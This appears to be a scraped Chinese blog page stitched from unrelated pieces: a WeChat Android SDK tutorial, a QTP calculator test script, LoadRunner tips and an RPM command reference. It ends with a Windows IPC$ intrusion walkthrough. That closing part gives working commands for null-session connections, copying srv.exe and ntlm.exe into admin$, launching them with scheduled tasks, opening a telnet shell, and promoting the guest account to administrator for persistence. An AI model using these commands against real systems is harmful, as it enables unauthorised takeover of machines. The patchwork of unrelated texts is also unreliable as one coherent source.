open 校验应用包名昵称中包含不合法字符怎么办

微信Android SDK示例代码及运行方法 - icyfox_bupt的专栏
- 博客频道 - CSDN.NET
11962人阅读
最近在研究微信SDK,无奈网上好使的教程太少,对于程序员来说最好的东西,一个是微信的,一个是微信SDK的。无奈文档小白很难看懂,范例代码又没有详细的解释,导致我折腾了好多天,现在有点眉目了,先记下来。
转载请注明来自:http://blog.csdn.net/icyfox_bupt/article/details/
1、申请应用AppKey
微信的SDK要求应用的包名、签名的MD5、AppID严格对应,所以没有申请的应用是肯定无法使用的。申请了的应用如果这三个对不上,是无法使用的。
·包名,是应用建立时候的名称,你可以在AndroidManifest.xml文件的package项中找到
·签名的MD5,这个比较复杂,如果你不了解Android的签名发布机制请看签名。一般开发者在发布应用的时候都会有一个自己的签名来认证应用,获取这个签名的MD5值,需要用到腾讯的,手机上安装后,输入自己程序的包名,会出现程序的签名MD5信息,复制下来,如下图:
·获取这些信息后进入,注册登录。
·管理平台--创建移动应用
·第一步:填写基本信息,填上应用信息即可,不再赘述。
·第二步:填写平台信息,选中Android。填写上正确的应用包名和应用签名,如下图:
·第三步,提交审核并等待,在“未通过审核”页面中可以查看:
审核通过后,应用会出现在“已通过审核”分类里。进入应用可以看到微信的AppID,记住它:
2、使用范例代码
对于我这种水平的人来说看Android文档真的是太痛苦了,学习功能最简单的方法还是看范例代码,微信的范例代码其实做的很好,下面来看如何使用:
首先在微信开放平台的资源中心下载,下载完成后加入Eclipse工程。
在项目的压缩包中可以看到一个debug.keystore文件,这个就是范例代码使用的签名。
在项目的Constants.java中有如下代码:
public class Constants {
// APP_ID 替换为你的应用从官方网站申请到的合法appId
public static final String APP_ID = &wxd930ea5d5a258f4f&;
上面的APP_ID就是这个签名,在通过审核以后的APPID。我们什么都不需要更改。
使用debug.keystore对程序进行签名,操作流程:
·右键项目 ----& Android Tools ----& Export Signed Application Package.
·Use existing keystore ---& Location填写debug.keystore的地址,密码填写android,下一步密码继续填写android --& finish。
3、功能展示
将打包好的“微信范例”程序安装到手机上,就可以测试分享的各项功能了:
1、分享文字
分享文字的功能和我们用微信发出去的效果差不多,不过多了个小尾巴,在这里小尾巴是“段总特别帅的APP”,好吧谁能告诉我这个段总是谁?
2、分享网页
微信里分享网页其实挺麻烦的,有了SDK就会方便很多了。SDK会给出默认的一个对话框,用户可以对网页进行评论,如下图:
3、发送APP消息
与分享文字图片视频链接不同,发送APP消息允许回调到我们自己的APP。
发送APP信息后,看起来和发送链接没有什么不同,除了边上的那个小箭头:
但是点击后不是打开浏览器,而是跳回我们的程序,如果没有安装这个APP,就会跳转到我们审核程序时填写的程序下载地址。非常赞
我现在遇到的问题:
<span style="color:#、目前APP消息只能在和用户的会话中使用,无法发送到朋友圈,我想应该是微信的限制吧?
<span style="color:#、上面的图中,点击“段总特别帅的APP”,可以实现跳转,但是我的APP、还有网易新闻的APP,分享后那个按钮都不好使。
有人做出来了请务必告诉我~~!
今天就先到这里吧,微信SDK还是很方便的,希望能帮到大家!
转载请注明来自:
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:177089次
积分:2331
积分:2331
排名:第7511名
原创:46篇
评论:194条
(1)(1)(2)(1)(2)(4)(1)(3)(1)(2)(2)(3)(3)(1)(1)(1)(2)(2)(2)(1)(1)(2)(1)(1)(6)(1)@Override&&&&protected&String[]&getConfigLocations()&{&&&&&&&&//&TODO&Auto-generated&method&stub&&&&&&&&return&new&String[]{&"/springContext-hibernate.xml"&};&&&&}好了,这样就配置完成了。下面的工作就是获取你要测试的对象,并对他测试了。
public&ShipMasterDao&getShipMasterDao()&{&&&&&&&&if(shipMasterDao&==&null&){&&&&&&&&&&&&shipMasterDao&=&(ShipMasterDao)this.applicationContext.getBean("shipMasterDao");&&&&&&&&}&&&&&&&&return&shipMasterD&&&&}&&&&&&&&public&void&testGetUser(){&&&&&&&&ShipMaster&shipMaster&=&this.getShipMasterDao().getShipMaster(1);&&&&&&&&this.assertEquals(shipMaster.getImono(),&"imo01");&&&&}嗯,很简单吧。但是很有用。记下,怕自己忘掉。
也拿计算器Calc做个例子,和大家分享一下我的代码
看到大家都在拿微软的计算器做例子,我也分享一下我的例子,恰巧也是Calc的例子,哈哈,只要把计算器添加进对象库就能运行了'#####################################################################'###& && && && &&&上海(保密一下)软件有限公司& && &开发部& && && && &########################'###& && && && &&&被测对象:Microsoft calc.exe (计算器)& && && && && &###################'###& && && && &&&功能:1.随机生成测试操作位数、操作数、操作运算符& && &######'###& && && && && && && && && &&&2.生成日志文件& && && && && &################################'###& && && && & 作者:俞戴龙& && && && && &########################################'###& && && && &完成日期:& && && && && &##################################'###################################################################Option Explicit '强制声明变量Environment.Value("RunTimes") = 20 ' 执行测试次数Dim fileSpec&&'测试报告存放位置fileSpec ="C:\" &"测试报告QTP_"& Date & ".txt" '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''主函数'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''让QTP运行时保持最小化Call qtp_small'获取当前时间Dim currentTime,currentDatecurrentDate = DatecurrentTime = Time'写入测试报告call QTP_WriteFile(fileSpec,"##############################################")call QTP_WriteFile(fileSpec,"######& && & 被测对象:计算器& && &###########")call QTP_WriteFile(fileSpec,"######& && &测试者:俞戴龙& && && && &########")call QTP_WriteFile(fileSpec,"##### 测试日期: " + cstr(currentDate) + cstr(currentTime) +&&"&&####")call QTP_WriteFile(fileSpec,"##############################################")call QTP_WriteFile(fileSpec,"")'执行测试Dim circleFor circle =1 to Environment.Value("RunTimes")& & & & SystemUtil.Run "C:\WINDOWS\system32\calc.exe","","C:\WINDOWS\system32","open"& & & & Dim len1,len2 'len1第一操作位数,len2第二操作位数& & & & Dim op1,op2 'op1第一操作数,op2第二操作数& & & & Dim operator '运算符& & & & Dim result '预期运算结果& & & & Window("计算器").Activate& & & & & & & & '生成第一操作位数& & & & len1 = Get_RandNum(1,5)& & & & Window("计算器").Activate& & & & & & & & '生成第二操作位数& & & & len2 = Get_RandNum(1,5)& & & & Window("计算器").Activate& & & & & & & & '生成第一操作数& & & & op1 = GetExec(len1)& & & & Window("计算器").Activate& & & & & & & & '生成操作运算符& & & & ōperator =&&GetOperation()& & & & Window("计算器").Activate& & & & & & & & '生成第二操作数& & & & op2 = GetExec(len2)& & & & Window("计算器").Activate& & & & & & & & '计算期望值& & & & Select Case operator& & & & & & & & & & & & Case 0& &result = clng(op1) + clng(op2)& & & & & & & & & & & & Case 1& &result = clng(op1) - clng(op2)& & & & & & & & & & & & Case 2& &result = clng(op1) * clng(op2)& & & & & & & & & & & & Case 3& &result = clng(op1) / clng(op2)& & & & End Select& & & & '点击“等于”按键& & & & Window("计算器").Activate& & & & Window("计算器").WinButton("=").Click& & & & '获取实际运算结果& & & & Dim RealValue& & & & RealValue = Window("计算器").WinEdit("Edit").GetROProperty("text")& & & & '写测试日志& & & & If (clng(result) - clng(RealValue) =0 ) Then& & & & & & & & call QTP_WriteFile(fileSpec,"测试用例"+ cstr(circle) + ":" + "& && &" + "测试通过")& & & & & & & & call QTP_WriteFile(fileSpec,"")& & & & else& & & & & & & &&&call QTP_WriteFile(fileSpec,"测试用例"+ cstr(circle) + ":" + "& && &" + "测试不通过")& & & & & & & &&&call QTP_WriteFile(fileSpec,"当前时间:"&Time)& & & & End If& & & & Dim express '随机生成的计算表达式& & & & Select Case operator& & & & & & & & Case 0& &express = cstr(op1) + "+" + cstr(op2) + "= ?"& & & & & & & & Case 1& &express = cstr(op1) + "-" + cstr(op2) + "= ?"& & & & & & & & Case 2& &express = cstr(op1) + "*" + cstr(op2) + "= ?"& & & & & & & & Case 3& &express = cstr(op1) + "/" + cstr(op2) + "= ?"& & & & End Select& & & & call QTP_WriteFile(fileSpec,"测试表达式:" + express)& & & & call QTP_WriteFile(fileSpec,"期望值:" + trim(cstr(result)) + ".")& & & & call QTP_WriteFile(fileSpec,"实际值:" + trim(cstr(RealValue)))& & & & call QTP_WriteFile(fileSpec,"" )& & & & '关闭计算器& & & & Window("计算器").CloseNext'恢复QTP窗口Call qtp_big'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''主函数结束'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''子函数(子过程)开始''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''随机生成按键'输入值:操作位数'输出值:生成值Function GetExec( j )& & & & Dim res,m,i& & & & Window("计算器").Activate& & & & For m =1 to j& & & & & & & &&&i =Get_RandNum(0,9)& & & & & & & & res = res + cstr(i)& & & & & & & & Select Case i& & & & & & & & & & & & Case 0& &Window("计算器").WinButton("0").Click& & & & & & & & & & & & Case 1& &Window("计算器").WinButton("1").Click& & & & & & & & & & & & Case 2& &Window("计算器").WinButton("2").Click& & & & & & & & & & & & Case 3& &Window("计算器").WinButton("3").Click& & & & & & & & & & & & Case 4& &Window("计算器").WinButton("4").Click& & & & & & & & & & & & Case 5& &Window("计算器").WinButton("5").Click& & & & & & & & & & & & Case 6& &Window("计算器").WinButton("6").Click& & & & & & & & & & & & Case 7& &Window("计算器").WinButton("7").Click& & & & & & & & & & & & Case 8& &Window("计算器").WinButton("8").Click& & & & & & & & & & & & Case 9& &Window("计算器").WinButton("9").Click& & & & & & & & & & & & Case Else& & & & & & & & End Select& & & & Next& & & & If&&res = "" Then& & & & & & & & res = 0& & & & End If& & & & GetExec = resEnd Function'随机生成操作符'输出值:操作代码Function GetOperation()& & & & Dim oper& & & & ōper = Get_RandNum(0,3)& & & & Window("计算器").Activate& & & & Select Case oper& & & & & & & & Case 0& &Window("计算器").WinButton("+").Click& & & & & & & & Case 1& &Window("计算器").WinButton("-").Click& & & & & & & & Case 2& &Window("计算器").WinButton("*").Click& & & & & & & & Case 3& & Window("计算器").WinButton("/").Click& & & & & & & & Case Else& & & & End Select& & & & GetOperation = operEnd Function'写文件函数(追加)'输入值:写入内容Public Function QTP_WriteFile(pathway,words)& & & & & & Dim fileSystemObj,fileSpec,logFile,way& & Set fileSystemObj = CreateObject("scrīpting.FileSystemObject")& & fileSpec = pathway & & Set logFile = fileSystemObj.OpenTextFile(fileSpec, 8, true) & & logFile.WriteLine (CStr(words))& & logFile.Close& & Set logFile = NothingEnd Function'恢复QTP窗口Public Sub QTP_Big()& & & & Dim objQTPWin& & & & Set ōbjQTPWin = GetObject("" , "QuickTest.Application")& & & & objQTPWin.WindowState = "Restored"& & & & Set ōbjQTPWin = NothingEnd Sub'让QTP运行时保持最小化Public Sub QTP_Small()& & & & Dim objQTPWin& & & & Set ōbjQTPWin = GetObject("" , "QuickTest.Application")& & & & objQTPWin.WindowState = "Minimized"& & & & Set ōbjQTPWin = NothingEnd Su
少了个函数'随机函数生成'输入值:生成值范围 i~j'返回值:随机数Public Function Get_RandNum(fromNum,toNum)& & & & If (fromNum&0) Or (toNum&0) Then& & & & & & & & MsgBox "只接受大于零的输入"& & & & ElseIf fromNum&toNum then& & & & & & & & MsgBox "起始值必须小于结束值"& & & & Else& & & & & & & & Dim RunTime& & & & & & & & Randomize& && & & & & & & & RunTime = Int((10 * Rnd) + 1) & & & & & & & & Dim MyValue,i& & & & & & & & For i = 1 To RunTime& & & & & & & & & & & & Randomize&&& & & & & & & & & & & & MyValue = Int(((toNum - fromNum + 1) * Rnd) + (fromNum))& & & & & & & & Next& & & && & Get_randNum=MyValue& & & && &End IfEnd Function
好主意,我自己也做了一个相同的例子,只是LZ的简化版,Dim OperandA, OperandB, Operation,Resultsub Standard_Calculation(OperandA, Operation, OperandB)'First OperandOperandA = cint(OperandA)Select Case OperandAcase 0Window("Calculator").WinButton("Button").Clickcase 1Window("Calculator").WinButton("Button_2").Clickcase 2Window("Calculator").WinButton("Button_3").Clickcase 3Window("Calculator").WinButton("Button_4").Clickcase 4Window("Calculator").WinButton("Button_12").Clickcase 5Window("Calculator").WinButton("Button_13").Clickcase 6Window("Calculator").WinButton("Button_14").Clickcase 7Window("Calculator").WinButton("Button_15").Clickcase 8Window("Calculator").WinButton("Button_16").Clickcase 9Window("Calculator").WinButton("Button_17").ClickEnd Select'OperationSelect Case Operationcase "+"Window("Calculator").WinButton("Button_18").Clickcase "-"Window("Calculator").WinButton("Button_19").Clickcase "*"Window("Calculator").WinButton("Button_20").Clickcase "/"Window("Calculator").WinButton("Button_21").ClickEnd Select'Second OperandOperandB = cint(OperandB)Select Case OperandBcase 0Window("Calculator").WinButton("Button").Clickcase 1Window("Calculator").WinButton("Button_2").Clickcase 2Window("Calculator").WinButton("Button_3").Clickcase 3Window("Calculator").WinButton("Button_4").Clickcase 4Window("Calculator").WinButton("Button_12").Clickcase 5Window("Calculator").WinButton("Button_13").Clickcase 6Window("Calculator").WinButton("Button_14").Clickcase 7Window("Calculator").WinButton("Button_15").Clickcase 8Window("Calculator").WinButton("Button_16").Clickcase 9Window("Calculator").WinButton("Button_17").ClickEnd Select'Press "= " buttonWindow("Calculator").WinButton("Button_22").Click'Get the result from text fieldResult =Window("Calculator").Static("15.").GetROProperty("text")Select Case ResultCase "7. "& & & & msgbox("The answer is correct.")Case "12. "& & & &&&msgbox("The answer is correct.")Case "1. "& & & &&&msgbox("The answer is correct.")Case "2. "& &&&msgbox("The answer is correct.")Case Else& & & &&&msgbox("The answer is wrong!")End SelectEnd subSub Normal_Calculation& &Standard_Calculation 3,"+",4& &Standard_Calculation 3,"*",4& &Standard_Calculation 4, "-",3& &Standard_Calculation 4,"/",2End SubCall Normal_Calculation
从上看到下,觉得这个问题不是很明确:1,场景设置没有详细说明。像导演在11楼提出的问题。只有看图,还能得到一些侧面的信息。2,你的疑问,感觉不大在点子上。回答问题如下:1,硬件并不是很清楚,系统状态不是很清楚,怎么能判断这种图不是正常的呢。比如说:初始化50用户,这里大家也不知道脚本是什么样的,有时只有一个登录,脚本也比较复杂。所以环境并不清楚。这个问题没办法判断。我的猜测:在初始化之后,执行事务,编译脚本,运行用户,你是一下子加载所有用户,那这里就有可能,你在加载用户的时候,客户机的系统比较忙,CPU的切换可能就比较多,这一段时间,占用内存等也大一些,所以这里我建议你看看本地的CPU计数切换增量和内存的分配。并且你的场景总共执行的就不是很长时间,所以导致,事务图中有一段的断开,本来这段时间并不长,因为你的场景很短,所以这个时间就因为本地初始化用户和脚本等问题,而变得非常明显。2,场景是同时加载所有用户,这并不是说同时进入runing状态的就是50用户,初始化也有前有后,CPU也要分时处理(我猜14楼说的拥塞可能是指客户端资源的拥塞),在采样时间内,这个数是不能确定的,要注意的是,图中的数据值不是固定不变的。因为采样的频率有不同。3,这种情况非常常见。但是原因各有不同。仅凭现在的信息,估计还不能分析出原因来。可以给你一个建议,去查看时间的消耗,不管通过什么方式,只要知道响应时间消耗在什么地方,就可以分析出原因来,就可以改善。4,你给的图,分析不出结果来。只能猜测一些。提点建议。
LoadRunner如何结合WinRunner测试GUI应用 作者:尚勇 (原创文章,如欲转载,请注明出处)步骤如下:1,安装Microsoft Terminal Server(Windows2000 Server版本应该已经有了Terminal Services)2,在MTS(Microsoft Terminal Server)上安装Loadrunner,安装WinRunner3,使用winRunner录制GUI应用的脚本4,保证能够在MTS这台机器上正确回放5,从安装controller机器上,搜索MTS这台计算机,找到winRunner脚本所在目录,映射到安装Controller这台机器6,打开LoadRunner Controller,建立新的场景,在添加脚本地方,选择脚本类型为GUI,然后选择映射目录,Winrunner脚本就会显示出来,选择相应的WinRunner脚本7,如果是LoadRunner8.0,直接添加LoadGenerator,添加时写MTS机器的名字:1,机器名:2;机器名:3等等.or you can type the IP address:1,Ip address:2,Ip address:3..假设你要打算在MTS上并发3个GUI用户,设置三台虚拟的LoadGenerator即可.如果LoadRunner版本低于8.0,则需要在 winnt\system32\drivers\etc\hosts文件编辑如下:192.168.0.23 MTSSEVERNAME SERVERNAME:1 SERVERNAME:2 SERVERNAME:38,全选loadGenerator,details-》Vuser Limits-》保证GUI VUSER enable9,在运行场景之前,一定要保证Controller这台机器安装Terminal Client,并发几个GUI用户,就需要在这台机器上开几个Terminal Client.10,运行场景,就可以在MTS这台机器上看到有多个WinRunner打开,在运行GUI的脚本.
LoadRunner HTTP协议中几个有用的选项
作者:ppent录制选项:在Recording Options窗口中的HTTP Properties-Advanced标签页,Recoding schemes中,有几个高级录制选项:Headers:自动录制http头,默认是不录制headers。比如在另一篇文章Web测试中容易被忽略的Charset问题中提到的Http ContentType中的Charset问题,就可以通过在这里设置自动完成。录制后会在脚本中自动添加web_add_auto_header的语句。Contect Types:通过一些过滤,设置录制脚本中包含的内容,默认是不做任何过滤。应用意义:在我的测试系统中,当客户端首次登录时会下载一些资源文件如js、gif等并保存在缓存中,在一定时间内客户端再次访问时不会再下载这些资源,因此,录制测试脚本时可以通过这个设置来屏蔽对某种类型的资源的录制。Non-Resources:把某些类型的url设置为“非资源”,该设置在脚本中的体现是web_url中的Resource属性是0或1。具体应用意义下面说明。Runtime选项:在ContentCheck中定制检查规则,回放是LR可以自动匹配该规则,当满足条件时设置测试通过或失败。比如我们测试一个web应用,当服务器返回Http 404、302等结果时,LR能够根据这些http status判断请求成功或失败。但如果http返回的状态是正常的,但我们的业务逻辑出错,系统返回的错误LR是无法识别的,那么可以通过在这里设置检验规则,当满足规则时认为时成功或失败。Resource:指示URL是否属于资源。1 是;0 不是。设置了这个参数后,RecContentType参数被忽略。“Resource=1”,意味着当前操作与所在脚本的成功与否关系不大。在下载资源时如果发生错误,可以当作警告而不是错误来处理的(RTS中的Non-critical resource errors as warnings);URL是否被下载受“Run-Time Setting—Browser Emulation--Download non-HTML resources” 这个选项的影响。此操作的响应信息是不做为HTML来解析的。“Resource=0”,表明此URL是重要的,不受发送请求(RTS)的影响,在需要时也会解析它。
在Linux操作系统中,有一个系统软件包,它的功能类似于Windows里面的“添加/删除程序”,但是功能又比“添加/删除程序”强很多,它就是Red Hat Package Manager(简称RPM)。
此工具包最先是由Red Hat公司推出的,后来被其他Linux开发商所借用。由于它为Linux使用者省去了很多时间,所以被广泛应用于在Linux下安装、删除软件。
下面就给大家介绍一下它的具体使用方法。
[root@ford /root] # rpm -qa | more1.
我们得到一个新软件,在安装之前,一般都要先查看一下这个软件包里有什么内容,假设这个文件是:Linux-1.4-6.i368.rpm,我们可以用这条命令查看:
rpm -qpi Linux-1.4-6.i368.rpm
系统将会列出这个软件包的详细资料,包括含有多少个文件、各文件名称、文件大小、创建时间、编译日期等信息。
2.上面列出的所有文件在安装时不一定全部安装,就像Windows下程序的安装方式分为典型、完全、自定义一样,Linux也会让你选择安装方式,此时我们可以用下面这条命令查看软件包将会在系统里安装哪些部分,以方便我们的选择:
rpm -qpl Linux-1.4-6.i368.rpm3.
选择安装方式后,开始安装。我们可以用
rpm-ivh Linux-1.4-6.i368.rpm
命令安装此软件。在安装过程中,若系统提示此软件已安装过或因其他原因无法继续安装,但若我们确实想执行安装命令,可以在 -ivh后加一参数“-replacepkgs”:
rpm -ivh -replacepkgs Linux-1.4-6.i368.rpm4.
有时我们卸载某个安装过的软件,只需执行
rpm-e <文件名>命令即可。对低版本软件进行升级是提高其功能的好办法,这样可以省去我们卸载后再安装新软件的麻烦,要升级某个软件,只须执行如下命令:
rpm -uvh <文件名>
,注意:此时的文件名必须是要升级软件的升级补丁6.另外一个安装软件的方法可谓是Linux的独到之处,同时也是RMP强大功能的一个表现:通过FTP站点直接在线安装软件。当找到含有你所需软件的站点并与此网站连接后,执行下面的命令即可实现在线安装,譬如在线安装Linux-1.4-6.i368.rpm,可以用命令:
rpm -i linux/redhat/...-1.4-6.i368.rpm7.&/pub/linux/redhat/...-1.4-6.i368.rpm
在我们使用电脑过程中,难免会有误操作,若我们误删了几个文件而影响了系统的性能时,怎样查找到底少了哪些文件呢?RPM软件包提供了一个查找损坏文件的功能,执行此命令:
即可,Linux将为你列出所有损坏的文件。你可以通过Linux的安装光盘进行修复。Linux系统中文件繁多,在使用过程中,难免会碰到我们不认识的文件,在Windows下我们可以用“开始/查找”菜单快速判断某个文件属于哪个文件夹,在Linux中,下面这条命令行可以帮助我们快速判定某个文件属于哪个软件包:
rpm -qf <文件名>
当每个软件包安装在Linux系统后,安装文件都会到RPM数据库中“报到”,所以,我们要查询某个已安装软件的属性时,只需到此数据库中查找即可。注意:此时的查询命令不同刚才的一些介绍的查询,这种方法只适用于已安装过的软件包!命令格式:一、安装 命令格式:
rpm -i ( or --install) options file1.rpm ... fileN.rpm
参数: file1.rpm ... fileN.rpm 将要安装的RPM包的文件名 详细选项:
-h (or --hash) 安装时输出hash记号 (``#'')
--test 只对安装进行测试,并不实际安装。
--percent 以百分比的形式输出安装的进度。
--excludedocs 不安装软件包中的文档文件
--includedocs 安装文档
--replacepkgs 强制重新安装已经安装的软件包
--replacefiles 替换属于其它软件包的文件
--force 忽略软件包及文件的冲突
--noscrīpts 不运行预安装和后安装脚本
--prefix <path> 将软件包安装到由 <path> 指定的路径下
--ignorearch 不校验软件包的结构
--ignoreos 不检查软件包运行的操作系统
--nodeps 不检查依赖性关系
--ftpproxy <host> 用 <host> 作为 FTP代理
--ftpport <port> 指定FTP的端口号为 <port> 通用选项
-v 显示附加信息 -vv 显示调试信息
--root <path> 让RPM将<path>指定的路径做为"根目录",这样预安装程序和后安装程序都会安装到这个目录下
--rcfile <rcfile> 设置rpmrc文件为 <rcfile>
--dbpath <path> 设置RPM 资料库存所在的路径为 <path> 二、删除 命令格式:
rpm -e ( or --erase) options pkg1 ... pkgN 参数 pkg1 ... pkgN :要删除的软件包 详细选项
--test 只执行删除的测试
--noscrīpts 不运行预安装和后安装脚本程序
--nodeps 不检查依赖性 通用选项
-vv 显示调试信息
--root <path> 让RPM将<path>指定的路径做为"根目录",这样预安装程序和后安装程序都会安装到这个目录下
--rcfile <rcfile> 设置rpmrc文件为 <rcfile>
--dbpath <path> 设置RPM 资料库存所在的路径为 <path>
升级 命令格式 rpm -U ( or --upgrade) options file1.rpm ... fileN.rpm 参数 file1.rpm ... fileN.rpm 软件包的名字 详细选项
-h (or --hash) 安装时输出hash记号 (``#'')
--oldpackage 允许"升级"到一个老版本 --test 只进行升级测试
--excludedocs 不安装软件包中的文档文件
--includedocs 安装文档 --replacepkgs 强制重新安装已经安装的软件包
--replacefiles 替换属于其它软件包的文件
--force 忽略软件包及文件的冲突
--percent 以百分比的形式输出安装的进度。
--noscrīpts 不运行预安装和后安装脚本
--prefix <path> 将软件包安装到由 <path> 指定的路径下
--ignorearch 不校验软件包的结构
--ignoreos 不检查软件包运行的操作系统
--nodeps 不检查依赖性关系 --ftpproxy <host> 用 <host> 作为 FTP代理
--ftpport <port> 指定FTP的端口号为 <port> 通用选项
-v 显示附加信息 -vv 显示调试信息
--root <path> 让RPM将<path>指定的路径做为"根目录",这样预安装程序和后安装程序都会安装到这个目录下
--rcfile <rcfile> 设置rpmrc文件为 <rcfile>
--dbpath <path> 设置RPM 资料库存所在的路径为 <path>
查询 命令格式: rpm -q ( or --query) options 参数: pkg1 ... pkgN :查询已安装的软件包 详细选项
-p <file>(or ``-'') 查询软件包的文件
-f <file> 查询<file>属于哪个软件包
-a 查询所有安装的软件包
--whatprovides <x> 查询提供了 <x>功能的软件包 -g <group> 查询属于<group> 组的软件包
--whatrequires <x> 查询所有需要 <x> 功能的软件包 信息选项 <null> 显示软件包的全部标识
-i 显示软件包的概要信息
-l 显示软件包中的文件列表
-c 显示配置文件列表
-d 显示文档文件列表
-s 显示软件包中文件列表并显示每个文件的状态
--scrīpts 显示安装、卸载、校验脚本
--queryformat (or --qf) 以用户指定的方式显示查询信息
--dump 显示每个文件的所有已校验信息
--provides 显示软件包提供的功能
--requires (or -R) 显示软件包所需的功能 通用选项
-v 显示附加信息 -vv 显示调试信息
--root <path> 让RPM将<path>指定的路径做为"根目录",这样预安装程序和后安装程序都会安装到这个目录下
--rcfile <rcfile> 设置rpmrc文件为 <rcfile>
--dbpath <path> 设置RPM 资料库存所在的路径为 <path>
校验已安装的软件包 命令格式: rpm -V ( or --verify, or -y) options 参数 pkg1 ... pkgN 将要校验的软件包名 软件包选项
-p <file> Verify against package file <file>
-f <file> 校验<file>所属的软件包
-a Verify 校验所有的软件包
-g <group> 校验所有属于组 <group> 的软件包 详细选项
--noscrīpts 不运行校验脚本
--nodeps 不校验依赖性
--nofiles 不校验文件属性 通用选项
-v 显示附加信息
-vv 显示调试信息
--root <path> 让RPM将<path>指定的路径做为"根目录",这样预安装程序和后安装程序都会安装到这个目录下
--rcfile <rcfile> 设置rpmrc文件为 <rcfile>
--dbpath <path> 设置RPM 资料库存所在的路径为 <path>
校验软件包中的文件 语法: rpm -K ( or --checksig) options file1.rpm ... fileN.rpm 参数: file1.rpm ... fileN.rpm 软件包的文件名 Checksig--详细选项
--nopgp 不校验PGP签名 通用选项
-v 显示附加信息
-vv 显示调试信息
--rcfile <rcfile> 设置rpmrc文件为 <rcfile>
其它RPM选项
--rebuilddb 重建RPM资料库
--initdb 创建一个新的RPM资料库
--quiet 尽可能的减少输出
--help 显示帮助文件
--version 显示RPM的当前版本
1)建立空连接: net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格) 2)建立非空连接: net use \\IP\ipc$ "密码" /user:"用户名" (同样有3个空格) 3)映射默认共享: net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) 如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$ 4)删除一个ipc$连接 net use \\IP\ipc$ /del 5)删除共享映射 net use c: /del 删除映射的c盘,其他盘类推 net use * /del 删除全部,会有提示要求按y确认 3 查看远程主机的共享资源(但看不到默认共享) net view \\IP 4 查看本地主机的共享资源(可以看到本地的默认共享) net share 5 得到远程主机的用户名列表 nbtstat -A IP 6 得到本地主机的用户列表 net user 7 查看远程主机的当前时间 net time \\IP 8 显示本地主机当前服务 net start 9 启动/关闭本地服务 net start 服务名 /y net stop 服务名 /y 10 映射远程共享: net use z: \\IP\baby 此命令将共享名为baby的共享资源映射到z盘 11 删除共享映射 net use c: /del 删除映射的c盘,其他盘类推 net use * /del /y删除全部 12 向远程主机复制文件 copy \路径\srv.exe \\IP\共享目录名,如: copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内 13 远程添加计划任务 at \\ip 时间 程序名,如: at \\127.0.0.0 11:00 love.exe 注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径 14 开启远程主机的telnet 这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求: 1)目标开启了ipc$共享 2)你要拥有管理员密码和帐号 3)目标开启RemoteRegistry服务,用户就该ntlm认证 4)对WIN2K/XP有效,NT未经测试 命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port 试例如下:c:\&OpenTelnet.exe \\*.*.*.* administrator "" 1 90 15 激活用户/加入管理员组 1 net uesr account /active:yes 2 net localgroup administrators account /add 16 关闭远程主机的telnet 同样需要一个小程序:ResumeTelnet.exe 命令格式:ResumeTelnet.exe \\server account psw 试例如下:c:\&ResumeTelnet.exe \\*.*.*.* administrator "" 17 删除一个已建立的ipc$连接 net use \\IP\ipc$ /del 九 经典入侵模式 这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 1. C:\&net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 复制之前务必用net view \\IP这个命令看一下对方的共享情况 2. C:\&copy srv.exe \\127.0.0.1\admin$ 先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 3. C:\&net time \\127.0.0.1 查查时间,发现127.0.0.1 的当前时间是
上午 11:00,命令成功完成。 4. C:\&at \\127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 5. C:\&net time \\127.0.0.1 再查查到时间没有?如果127.0.0.1 的当前时间是
上午 11:05,那就准备开始下面的命令。 6. C:\&telnet 127.0.0.1 99 这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 7.C:\&copy ntlm.exe \\127.0.0.1\admin$ 用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 8. C:\WINNT\system32&ntlm 输入ntlm启动(这里的C:\WINNT\system32&指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈) 为了以防万一,我们再把guest激活加到管理组 10. C:\&net user guest /active:yes 将对方的Guest用户激活 11. C:\&net user guest 1234 将Guest的密码改为1234,或者你要设定的密码 12. C:\&net localgroup administrators guest /add 将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机) 另外,你也可以根据返回的错误号分析原因: 错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限; 错误号51,Windows无法找到网络路径:网络有问题; 